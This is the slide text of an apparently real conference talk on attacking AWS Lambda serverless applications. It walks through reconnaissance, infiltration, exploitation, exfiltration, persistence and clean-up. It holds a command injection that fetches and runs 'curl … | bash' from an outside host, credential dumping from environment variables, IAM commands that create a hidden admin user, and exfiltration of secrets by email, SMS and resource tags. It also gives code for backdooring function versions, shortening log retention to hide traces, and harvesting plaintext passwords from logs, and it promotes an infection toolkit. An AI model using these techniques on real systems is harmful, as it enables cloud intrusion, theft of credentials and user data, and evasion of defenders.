Hola!
Thank you for having me!
My name is Rich Jones!
Founder of gun.io!
(Awesome freelance gigs for F/OSS hackers!)
Author of
(shameless plug alert)


███████╗ █████╗ ██████╗ ██████╗  █████╗
╚══███╔╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗
  ███╔╝ ███████║██████╔╝██████╔╝███████║
 ███╔╝  ██╔══██║██╔═══╝ ██╔═══╝ ██╔══██║
███████╗██║  ██║██║     ██║     ██║  ██║
╚══════╝╚═╝  ╚═╝╚═╝     ╚═╝     ╚═╝  ╚═╝

The best damn server-less framework in the world!
Run any Python web application on AWS Lambda,
build event-driven applications,
scale to ~500,000* connections per second globally,
with no ops,
out of the box!
Used by all sorts of big companies!
Try it out!
Welcome to..
Gone in 60 Milliseconds!
aka
Having a Sexy Title Gets Your Talk Accepted At Conferences
aka
Intrusion and Exfiltration in Server-less Architectures
("Oooooooooh!")
¯\_(ツ)_/¯
Quick poll!
Who here is familiar with AWS Lambda?
Okay! Great!
~~ this talk will mostly be about AWS Lambda, but the principals apply to any event-driven/FaaS/container-based architecture~~
For the unfamiliar..
The good old days:
One server,
lots of services!
$ python sqlmap.py -u "http://spoitabl.co/app.php?id=1" \
     --batch --os-shell
os-shell >
Yay! :D
"Server-less":
No permanent infrastructure!
Function is cached by Amazon,
spawned and destroyed on a per-request basis.
Code execution triggered by cloud event sources!
Every request to an isolated container!
Every request to an isolated* container!
Super scalable!
1 request = 1 server
10 request = 10 server
100 requests = 100 servers
1000 requests = 1000 servers
10000 requests = 10000 servers
100000 requests = 100000 servers
Trillions of events/year!
Orders of magnitude less expensive!
$0.000000002/ms
€0.000000002/ms
OS-level security patches happen automatically
Saves time,
saves money,
lets you fire all your ops guys.
(Sorry neckbeards.)
Common patterns in production:
Web server:
API Gateway -> Lambda
Async data processing:
S3 -> Lambda -> DynamoDB -> S3
Chat Bots
SNS / SES -> Lambda -> SES / SNS
(Fin/Med/Sci) Big Data Processing
S3 -> Lambda -> SQS -> EC2
..and loads more..
$ python sqlmap.py -u "https://serverless.api/" --batch --os-shell
  [..]
  [..]
  [..]
$ [*] shutting down at 15:39:31
Boo! :(
Container dies after the function returns!
"Oh no! What does that mean for us?"
Harder to infiltrate!
:(
Less common code,
"so long, wp-shell.php!"
isolated services,
isolated functions,
no users to escalate,
no sysadmins to trick!
(because you got them all fired)
Harder to persist!
Read only file system!
Sub-second lifecycle!
No init system to infect!
:((
Hard to exfiltrate!
Virtual Private Cloud!
Function-specific roles!
Strict permissioning!
No reverse shell!
:(((
"Oh man, we're totally boned!"
AWW HELL NAW DOGG!
When God closes a door, he opens a window.
When God Bezos closes a door, he opens a window.
Let's learn some..
Reconnaisaince!
Infiltration!
Exploitation!
Exfiltration!
Clean Up!
Part 0: Reconnaisaince!
aka
"How the hell do we know what we're attacking?"
Attack surfaces:
Outer attack surface:
Web (API Gateway)
  X-Amz-Cf-Id: vtLx7D2KHWxwyPgJ2DOE2b6NQ9k0ASMSx66A9LczvEv51aIEIxghGg==
  X-Amzn-Trace-Id: Root=1-58506411-99598c16af7cbea73728df0d
  X-Cache: Miss from cloudfront
  x-amzn-RequestId: c0b23779-c178-11e6-a069-7f6f74d0b328
  
  X-Amz-Cf-Id: vtLx7D2KHWxwyPgJ2DOE2b6NQ9k0ASMSx66A9LczvEv51aIEIxghGg==
  X-Amzn-Trace-Id: Root=1-58506411-99598c16af7cbea73728df0d
  X-Cache: Miss from cloudfront
  x-amzn-RequestId: c0b23779-c178-11e6-a069-7f6f74d0b328
  
Is it serving dynamic content from a CloudFront distribution?
Even better:
Do /ping and /sping get hijacked?
$ curl https://blog.zappa.io/ping
healthy
Even betterer:
Did Amazon tell you during a keynote?
File uploads (S3)
  Server: AmazonS3
  x-amz-id-2: KeolF8U+0re0f2YETTY+3PCya1tgbmLIDI4dLrANUJLs6RsF3FFFFeioEb81ls6khCMmzWKzswN8=
  x-amz-request-id: 81FAFCAD25EAF09B
  
Emails! (SES)
Date: Sat, 10 Dec 2016 01:26:05 +0000
From: Herpa Derp 
To: "your.name@email.tld" 
Message-ID: <02000158e6564e3f-a857a3dd-4a32-4da6-a3eb-70f0380e9551-000000@email.amazonses.com>
Inner attack surface:
Queues! (SQS)
Are there lots of long running, managed tasks?
Database Events (RDS/Dynamo)
Streams! (Kinesis)
Users! (Cognito)
Logs! (CloudTrail)
Part 1: Infiltration
aka
"How are we going to weaponize all that?"
"Destructive Mechanics"
Drop a bolt into the engine, listen to the sound!
TL;DR:
Attack the points of exchange, fire off every service call we can, see what shakes out!
The usual suspects:
Unsanitized input
Deserialization bugs (pickle, Apache commons/ysoserial, JS-Yaml, DeserializeFromBlob)
Server side script injection
Malicious binary files (ImageTragick, etc.)
..and all (most) your favorite web app exploit patterns!
A quick example
Vulnerable code:
# handler.py
conn = boto.connect_s3()
bucket = conn.get_bucket('upload-bucket-public')
for key in bucket.list():
    key.get_contents_to_filename("/tmp/" + key.name)
    os.popen("magic /tmp/" + key.name)
# handler.py
conn = boto.connect_s3()
bucket = conn.get_bucket('upload-bucket-public')
for key in bucket.list():
    key.get_contents_to_filename("/tmp/" + key.name)
    os.popen("magic /tmp/" + key.name)
# handler.py
conn = boto.connect_s3()
bucket = conn.get_bucket('upload-bucket-public')
for key in bucket.list():
    key.get_contents_to_filename("/tmp/" + key.name)
    os.popen("magic /tmp/" + "; curl -s exploit.server.xyz | bash")
[20/Dec/2016:23:46:37 +0000] "GET / HTTP/1.1" 200 2590 "" "curl/7.43.0" 0/5.315
Yay! :D
Part 2: Exploitation
aka
"How can we escalate our infection?"
aka
"What the hell is a Lambda anyway?"
aka
"What's worth stealing?"
$ find /
X
  def lambda_handler(event, context):
    args = ("find", "/")
    popen = subprocess.Popen(args, stdout=subprocess.PIPE)
    popen.wait()
    output = popen.stdout.read()
    return output
  
[ results ommited - see my Gists for full listing ]
TL;DR:
Pretty much looks like like RHEL 6
Select goodies include: python 2.7, python 3.4, node, perl5, boto3, gcc, curl..
Decent!
  CPU model :  Intel(R) Xeon(R) CPU E5-2666 v3 @ 2.90GHz
  Number of cores : 2
  CPU frequency :  2893.346 MHz
  Total amount of ram : 3767 MB
  Total amount of swap : 0 MB
  System uptime :   1:10,
  System version: Amazon Linux AMI release 2015.09
  System kernel: Linux ip-10-13-200-37 4.1.19-24.31.amzn1.x86_64
  
"Okay, that looks like EC2.. can I access the metainfo server?"
Good idea!
"Instance metadata is data about your instance that you can use to configure or manage the running instance..
..anyone who can access the instance can view its metadata. Therefore, you should take suitable precautions to protect sensitive data."
  ami-id
  ami-launch-index
  ami-manifest-path
  block-device-mapping/
  hostname
  instance-action
  instance-id
  instance-type
  kernel-id
  local-hostname
  local-ipv4
  mac
  network/
  placement/
  public-hostname
  public-ipv4
  public-keys/
  reservation-id
  security-groups
  services
  
requests.get("http://169.254.169.254/latest/meta-data/")
Nice idea,
doesn't work :(
(but remember that if you're attacking EC2!)
"Hmm.. what's in the environment variables?"
print os.environ
{
  "AWS_LAMBDA_FUNCTION_VERSION": "$LATEST",
  "LAMBDA_TASK_ROOT": "/var/task",
  "PATH": /usr/local/bin:/usr/bin/:/bin",
  "LD_LIBRARY_PATH": "/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib",
  "LANG": "en_US.UTF-8",
  "AWS_LAMBDA_FUNCTION_NAME": "your-function-name",
  "AWS_REGION": "us-east-1",
  "AWS_SESSION_TOKEN": "FXXDYXdzEK3//////////SFLKJBSKKLDJFLKJDFLSKJDFLSKJDFLSKJDFLKAJDSLKJHSGF",
  "AWS_SECURITY_TOKEN": "FXXoDYZdzEK3//////////WELKSDJFLKABFDJa88asdf8asdfF==",
  "LAMBDA_RUNTIME_DIR": "/var/runtime",
  "AWS_LAMBDA_FUNCTION_MEMORY_SIZE": "512",
  "PYTHONPATH": "/var/runtime",
  "AWS_LAMBDA_LOG_GROUP_NAME": "/aws/lambda/your-function-name",
  "AWS_LAMBDA_LOG_STREAM_NAME": "2016/12/13/[$LATEST]448bf3a99b754fe781006b5f6358b67b",
  "AWS_ACCESS_KEY_ID": "AXYGJHW2H6VG3573NLBQ",
  "AWS_DEFAULT_REGION": "us-east-1",
  "AWS_SECRET_ACCESS_KEY": "Wm6QDAOK/lskadfjalskdfJFslakdfj82"
}
{
  "AWS_LAMBDA_FUNCTION_VERSION": "$LATEST",
  "LAMBDA_TASK_ROOT": "/var/task",
  "PATH": /usr/local/bin:/usr/bin/:/bin",
  "LD_LIBRARY_PATH": "/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib",
  "LANG": "en_US.UTF-8",
  "AWS_LAMBDA_FUNCTION_NAME": "your-function-name",
  "AWS_REGION": "us-east-1",
  "AWS_SESSION_TOKEN": "FXXDYXdzEK3//////////SFLKJBSKKLDJFLKJDFLSKJDFLSKJDFLSKJDFLKAJDSLKJHSGF",
  "AWS_SECURITY_TOKEN": "FXXoDYZdzEK3//////////WELKSDJFLKABFDJa88asdf8asdfF==",
  "LAMBDA_RUNTIME_DIR": "/var/runtime",
  "AWS_LAMBDA_FUNCTION_MEMORY_SIZE": "512",
  "PYTHONPATH": "/var/runtime",
  "AWS_LAMBDA_LOG_GROUP_NAME": "/aws/lambda/your-function-name",
  "AWS_LAMBDA_LOG_STREAM_NAME": "2016/12/13/[$LATEST]448bf3a99b754fe781006b5f6358b67b",
  "AWS_ACCESS_KEY_ID": "AXYGJHW2H6VG3573NLBQ",
  "AWS_DEFAULT_REGION": "us-east-1",
  "AWS_SECRET_ACCESS_KEY": "Wm6QDAOK/lskadfjalskdfJFslakdfj82"
}
Nice! :)
"So.. what the heck are those keys anyway?"
Enter: AWS Identity and Access Management (IAM)
Per-resource authentication and authorization definition
1 task : 1 auth
Sounds bad.
It is.
The good news:
Really easy to fuck up!
Almost everything fun we're going to do depends on slightly wonky IAM..
:(
(..but that's pretty common.)
:D
Lambda Execution Policy
iam:PassRole
Take pre-defined policy,
create a temporary user with those permissions,
give those credentials the Lambda userspace.
// AWSLambdaVPCAccessExecutionRole
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "logs:CreateLogGroup",
        "logs:CreateLogStream",
        "logs:PutLogEvents",
        "ec2:CreateNetworkInterface",
        "ec2:DescribeNetworkInterfaces",
        "ec2:DeleteNetworkInterface"
      ],
      "Resource": "*"
    }
  ]
}
  
// AWSLambdaVPCAccessExecutionRole
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "logs:CreateLogGroup",
        "logs:CreateLogStream",
        "logs:PutLogEvents",
        "ec2:CreateNetworkInterface",
        "ec2:DescribeNetworkInterfaces",
        "ec2:DeleteNetworkInterface"
      ],
      "Resource": "*"
    }
  ]
}
  
This will come in handy!
"Cool, so we can.. describe the network? What about infecting the application source?"
Where does the code live?
{
  "AWS_LAMBDA_FUNCTION_VERSION": "$LATEST",
  "LAMBDA_TASK_ROOT": "/var/task",
  "PATH": /usr/local/bin:/usr/bin/:/bin",
  "LD_LIBRARY_PATH": "/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib",
  "LANG": "en_US.UTF-8",
  "AWS_LAMBDA_FUNCTION_NAME": "your-function-name",
  "AWS_REGION": "us-east-1",
  "AWS_SESSION_TOKEN": "FXXDYXdzEK3//////////SFLKJBSKKLDJFLKJDFLSKJDFLSKJDFLSKJDFLKAJDSLKJHSGF",
  "AWS_SECURITY_TOKEN": "FXXoDYZdzEK3//////////WELKSDJFLKABFDJa88asdf8asdfF==",
  "LAMBDA_RUNTIME_DIR": "/var/runtime",
  "AWS_LAMBDA_FUNCTION_MEMORY_SIZE": "512",
  "PYTHONPATH": "/var/runtime",
  "AWS_LAMBDA_LOG_GROUP_NAME": "/aws/lambda/your-function-name",
  "AWS_LAMBDA_LOG_STREAM_NAME": "2016/12/13/[$LATEST]448bf3a99b754fe781006b5f6358b67b",
  "AWS_ACCESS_KEY_ID": "AXYGJHW2H6VG3573NLBQ",
  "AWS_DEFAULT_REGION": "us-east-1",
  "AWS_SECRET_ACCESS_KEY": "Wm6QDAOK/lskadfjalskdfJFslakdfj82"
}
$ cat backdoor >> /var/task/app.py
X
:(
Read only file-system!
..and even if you could write to it, it would only live for ~60 milliseconds*.
"But.. where can I put my beloved tools?.."
/tmp
$ touch /tmp/derp
$ ls /tmp
derp
"Ephemeral disk capacity"
"Ephemeral* disk capacity"
Lambda executions are NOT completely isolated!
Cached in memory across executions!
/tmp == ram disk ram == cached /tmp == cached
== storage across multiple executions!
Yay! :)
(as long as the function is kept-warm in memory)
(~4m:30s)
(Somebody violated an NDA to tell you that)
This applies to long-running processes too!
Linux x86_64 nmap, metasploit, sqlmap, hydra, awscli, etc..
"So I have some keys.. and some tools.. what can I do now?"
First, see what we're allowed to do:
aws iam list-policies --scope Local
aws iam list-roles
aws iam get-policy-version --policy-arn $POLICYARN --version-id v1
aws iam get-role-policy --role-name $ROLENAME \
    --policy-name $POLICYNAME
And if we're lucky..
{
  "PolicyVersion": {
    "CreateDate": "2016-01-25T00:28:22Z",
    "VersionId": "v1",
    "Document": {
      "Version": "2012-10-17",
      "Statement": [
        {
          "Action": [
            "*:*"
          ],
          "Resource": "arn:aws:*:*:*:*",
          "Effect": "Allow"
        },
      ]
    },
    "IsDefaultVersion": true
  }
}
aka
Jackpot!
Create new admin user and pillage
aws iam create-user --user-name ghost
aws iam create-login-profile --user-name ghost --password spooky
aws iam create-access-key --user-name ghost
aws iam add-user-to-group --user-name ghost --group-name Admins
:D
Yeah, right!
~~ a brief interlude ~~
If you do hit the jackpot..
..don't sell user info to spammers!
..don't just mine BitCoin on GPU instances!
..don't claim a bug bounty!
Bounties are boring!
Use your skills for awesome!
Put up your badass hacking crew name!
 ____ __________    ___ ___ ________  .____    _____.___.
|    |   \      \  /   |   \\_____  \ |    |   \__  |   |
|    |   /   |   \/    ~    \/   |   \|    |    /   |   |
|    |  /    |    \    Y    /    |    \    |___ \____   |
|______/\____|__  /\___|_  /\_______  /_______ \/ ______|
                \/       \/         \/        \/\/
  _________   _____      _____    _________ ___ ___
 /   _____/  /     \    /  _  \  /   _____//   |   \
 \_____  \  /  \ /  \  /  /_\  \ \_____  \/    ~    \
 /        \/    Y    \/    |    \/        \    Y    /
/_______  /\____|__  /\____|__  /_______  /\___|_  /
        \/         \/         \/        \/       \/
____________________.___  ________    _____  ________  ___________
\______   \______   \   |/  _____/   /  _  \ \______ \ \_   _____/
 |    |  _/|       _/   /   \  ___  /  /_\  \ |    |  \ |    __)_
 |    |   \|    |   \   \    \_\  \/    |    \|    `   \|        \
 |______  /|____|_  /___|\______  /\____|__  /___USB_  /_______  /
        \/        \/            \/         \/        \/        \/
Put cool spooky skull gifs everywhere!
Give a shout-out to your IRC homies!
shouts
  collin ktbee diddy mathom mae wheeler aec doerge
(Basically bring the 90s back)
~~ resuming normal programming ~~
Far more likely than *:*,
(semi-)strict permissioning
{
   "Version":"2012-10-17",
   "Statement":[
      {
         "Effect":"Allow",
         "Action":[
            "s3:PutObject",
            "s3:PutObjectTagging",
            "s3:GetObject",
            "s3:GetObjectVersion",
            "s3:DeleteObject",
            "s3:DeleteObjectVersion",
            "s3:DeleteObject",
            "s3:DeleteObjectVersion"
         ],
         "Resource":"arn:aws:s3:::my_corporate_bucket/share/marketing/*"
      }
   ]
}
Or:
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "dynamodb:DeleteItem",
                "dynamodb:GetItem",
                "dynamodb:PutItem",
                "dynamodb:Scan",
                "dynamodb:UpdateItem"
            ],
            "Resource": "arn:aws:dynamodb:region:accountId:users/*"
        }
    ]
}
Or:
"""{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "logs:*"
            ],
            "Resource": "arn:aws:logs:*:*:*"
        },
        {
            "Effect": "Allow",
            "Action": [
                "lambda:InvokeFunction"
            ],
            "Resource": [
                "*"
            ]
        },
        {
            "Effect": "Allow",
            "Action": [
                "kinesis:*"
            ],
            "Resource": "arn:aws:kinesis:*:*:*"
        },
        {
            "Effect": "Allow",
            "Action": [
                "sns:*"
            ],
            "Resource": "arn:aws:sns:*:*:*"
        },
        {
            "Effect": "Allow",
            "Action": [
                "sqs:*"
            ],
            "Resource": "arn:aws:sqs:*:*:*"
        },
    ]
}
Or some combination thereof!
"So how can we abuse that for nefarious purposes?"
Part 3: Exfiltration
aka
The fun part
TL;DR:
When you don't have a direct network connection,
use tags,
meta-information,
and cloud services themselves
to shuttle information out of the cloud.
A real world example:
fcc.gov API -> ??? -> Generate PDF -> Upload to S3
fcc.gov API -> ??? -> Generate PDF -> Upload to S3
Back to our proof of concept..
Easy mode:
  {
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Action": [
          "ses:*"
        ],
        "Resource": [
          "*"
        ]
      }
    ]
  }
ses_connection.send_email(
    "no-reply@explitable.co",
    "Your test results",
    None,
    "professional.security.researcher@mailinator.com",
    format='txt',
    text_body=str(os.environ),
)
or
  {
    "Version": "2012-10-17",
    "Statement": [
      {
        "Effect": "Allow",
        "Action": [
          "sns:*"
        ],
        "Resource": [
          "*"
        ]
      }
    ]
  }
sns = boto3.client('sns')
number = '+15555551234'
sns.publish(
    PhoneNumber=number,
    Message=str(os.environ)
)
Slightly harder:
  {
     "Version":"2012-10-17",
     "Statement":[
        {
           "Effect":"Allow",
           "Action":[
              "s3:PutObject",
              "s3:PutObjectTagging",
              "s3:GetObject",
              "s3:GetObjectVersion",
              "s3:DeleteObject",
              "s3:DeleteObjectVersion",
              "s3:DeleteObject",
              "s3:DeleteObjectVersion"
           ],
           "Resource":"arn:aws:s3:::our_results_bucket/*"
        }
     ]
  }
  
Fun mode:
VPC exfiltration!
"Woah woah woah, hold-up, what's a VPC?"
Great question!
"Amazon VPC provides advanced security features such as security groups and network access control lists to enable inbound and outbound filtering at the instance level and subnet level."
Sounds bad.
It is.
The good news:
Really easy to fuck up!
(especially if you read old docs the AWS forum)
Lambda has access to VPC resources..
aka
Lambda is our VPC hole puncher
"Connect securely to your corporate datacenter – All traffic to and from instances in your VPC can be routed to your corporate datacenter over an industry standard, encrypted IPsec hardware VPN connection."
aka
Lambda is our VPC hole puncher..
..to your internal corporate network.
But.. we don't even need to actually use the VPC network!
Exfil from a VPC without touching the VPC network:
Step 0: Upload malicious file to get code execution in Lambda
Step 1: Unleash canaries
Step 2: See that that we have access to VPC resources
// AWSLambdaVPCAccessExecutionRole
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "logs:CreateLogGroup",
        "logs:CreateLogStream",
        "logs:PutLogEvents",
        "ec2:CreateNetworkInterface",
        "ec2:DescribeNetworkInterfaces",
        "ec2:DeleteNetworkInterface",
        "s3:PutObject",
        "sqs:PutMessage"
      ],
      "Resource": "*"
    }
  ]
}
  
Step 2: Use SQS + malicious pickle to infect Celery machine inside VPC
(or a poisoned RPM server)
(or hijacked DNS server)
(or a poisoned AMI machine image)
(or a stolen SSH keypair)
(or whatever your weapon of choice is here)
"Okay - now what?"
Step 3: Tag the VPC itself!
// AWSLambdaVPCAccessExecutionRole
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": [
        "logs:CreateLogGroup",
        "logs:CreateLogStream",
        "logs:PutLogEvents",
        "ec2:CreateNetworkInterface",
        "ec2:DescribeNetworkInterfaces",
        "ec2:DeleteNetworkInterface"
      ],
      "Resource": "*"
    }
  ]
}
  
# Inside VPC
aws ec2 create-tags --resources i-1234567890abcdef0 \
  --tags Key=Canary,Value=Dead
# Outside VPC, in Lambda
aws ec2 describe-network-interfaces
{
  "NetworkInterfaces": [
    ...
      "TagSet": [{"Canary": "Dead"}],
    ...
  ]
}
  
"Boom, baby!"
This even works for application binaries!
{
  "B-0-127": "{{Base64 encoded file.. }}",
  "B-127-255": "{{..Base64 encoded file.. }}",
  "B-255-383": "{{..Base64 encoded file}}",
  ...
}
:D
Similarly:
Is the compute cluster able to create..
Route53 DNS entries?
CloudWatch Log Groups and Events?
SQS Queues? S3 Buckets? Kinesis Streams?
Be creative!
Every cloud service is a threat to the others!
There are TONS of services to try!
"Cool!.. But what if they fix the bug?"
Part 4: Persistence
aka
"How we can permanantly infect a system with no permanent infrastructure?"
Neat Lambda feature:
arn:aws:lambda:aws-region:acct-id:function:helloworld:$LATEST
AWS stores old function sources
Useful for:
Rollbacks!
$ zappa rollback -n 2
Dev/Prod separation!
$ zappa update dev
$ zappa deploy prod
Auditing!
$ zappa tail
Persisting malware! :D
# Get the current function
function = \
  lambda_client.get_function(
    FunctionName='function:{}:{}'.format(
      function_name,
      1
    )
  )
# Get the code
function_code = requests.get(function['Code']['Location'])
# Install our backdoor
lambda_client.update_function_code(
  FunctionName=function_name,
  ZipFile=our_backdoored_package,
  Publish=True
)
# Alias the backdoor/infector to $1
lambda_client.create_alias(
    FunctionName=function_name,
    Name='1',
    FunctionVersion=latest_function,
    Description=description
)
Alternate route:
(Especially useful if application is managed/deployed by CI)
CloudFormation templates depend on S3-hosted code package
Updates to the production stack will call the infected package! :)
We can even attack other Lambda functions this way!
One better:
Think serverlessly!
New code uploads are the trigger for re-infection!
Part 5: Cleaning Up
aka
Boring mode
Full disclosure:
I am not very tidy.
(You should see my bedroom.)
Be warned.
Retention policy!
log_client = boto3.client('logs')
response = log_client.put_retention_policy(
    logGroupName=os.environ['AWS_LAMBDA_LOG_GROUP_NAME'],
    retentionInDays=1
)
¯\_(ツ)_/¯
Better yet:
Don't log anything to begin with!
{
  "AWS_LAMBDA_FUNCTION_VERSION": "$LATEST",
  "LAMBDA_TASK_ROOT": "/var/task",
  "PATH": /usr/local/bin:/usr/bin/:/bin",
  "LD_LIBRARY_PATH": "/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib",
  "LANG": "en_US.UTF-8",
  "AWS_LAMBDA_FUNCTION_NAME": "your-function-name",
  "AWS_REGION": "us-east-1",
  "AWS_SESSION_TOKEN": "FXXDYXdzEK3//////////SFLKJBSKKLDJFLKJDFLSKJDFLSKJDFLSKJDFLKAJDSLKJHSGF",
  "AWS_SECURITY_TOKEN": "FXXoDYZdzEK3//////////WELKSDJFLKABFDJa88asdf8asdfF==",
  "LAMBDA_RUNTIME_DIR": "/var/runtime",
  "AWS_LAMBDA_FUNCTION_MEMORY_SIZE": "512",
  "PYTHONPATH": "/var/runtime",
  "AWS_LAMBDA_LOG_GROUP_NAME": "/aws/lambda/your-function-name",
  "AWS_LAMBDA_LOG_STREAM_NAME": "2016/12/13/[$LATEST]448bf3a99b754fe781006b5f6358b67b",
  "AWS_ACCESS_KEY_ID": "AXYGJHW2H6VG3573NLBQ",
  "AWS_DEFAULT_REGION": "us-east-1",
  "AWS_SECRET_ACCESS_KEY: "Wm6QDAOK/lskadfjalskdfJFslakdfj82"
}
If you exhaust the memory of the function,
there's not enough left to log properly!
try:
    hack_the_gibson()
except Exception as e:
    # Don't leave enough memory to properly report the error.
    allocator = ' ' * 512000000000
Yay!
Caveat!:
logger.info(event)
Will reveal your attack :(
Flip side:
That means they're also logging all of their user's passwords!
streams = logs_client.describe_log_streams(
    logGroupName=os.environ['AWS_LAMBDA_LOG_GROUP_NAME']
)
all_streams = streams['logStreams']
all_names = [stream['logStreamName'] for stream in all_streams]
response = logs_client.filter_log_events(
    logGroupName=log_name,
    logStreamNames=all_names
)
{
   "body": "{
      \"username\": "\jeffb\",
      \"password\": \"i_l0ve_y0ur_m0n3y\"
   }",
   "httpMethod": "POST",
   "resource": "/signup",
   "queryStringParameters": null,
   "requestContext": { .. },
   "headers": { .. },
   "stageVariables": null,
   "path": "/signup",
   "pathParameters": null
}
Pillage logs for plaintext user:pass in POST!
Part 6: Synthesis
🎁
AWS Lambda Infection Toolkit!
mackenzie@0.1.0
* Harvest valuable goodies
* Encrypt with pubkey
* Exfil via POST, S3, Email, SMS, Network Resources Tags
* Install Flask backdoor
* Infect old pacakage sources
* Infect all available functions
* Create re-infection handlers
* Your feature here?
http://github.com/Miserlou/Mackenzie
In conclusion:
As we move to a server-less, distributed,
cloud-hosted, containerized, event-driven world,
the more malware will span platforms, services and connections!
What will malware look like in the distant future?
Beyond "server-less"..
..computer-less!
************************************************************
    Infection of biological DNA with digital Computer Code
              by Second Part To Hell (2013)
************************************************************
"A virus that makes the step from the digital to the biological world."
Infect bio-printer -> Infect DNA -> Exploit DNA-scanner -> Infect bio-printer!
The distant future..
The distant future.. now!
You need secure server-less apps?
Hire me! 💸💸💸
Want to contribute? 😃
Code: https://github.com/Miserlou/Zappa
Slack: http://slack.zappa.io
Thank you!
Questions?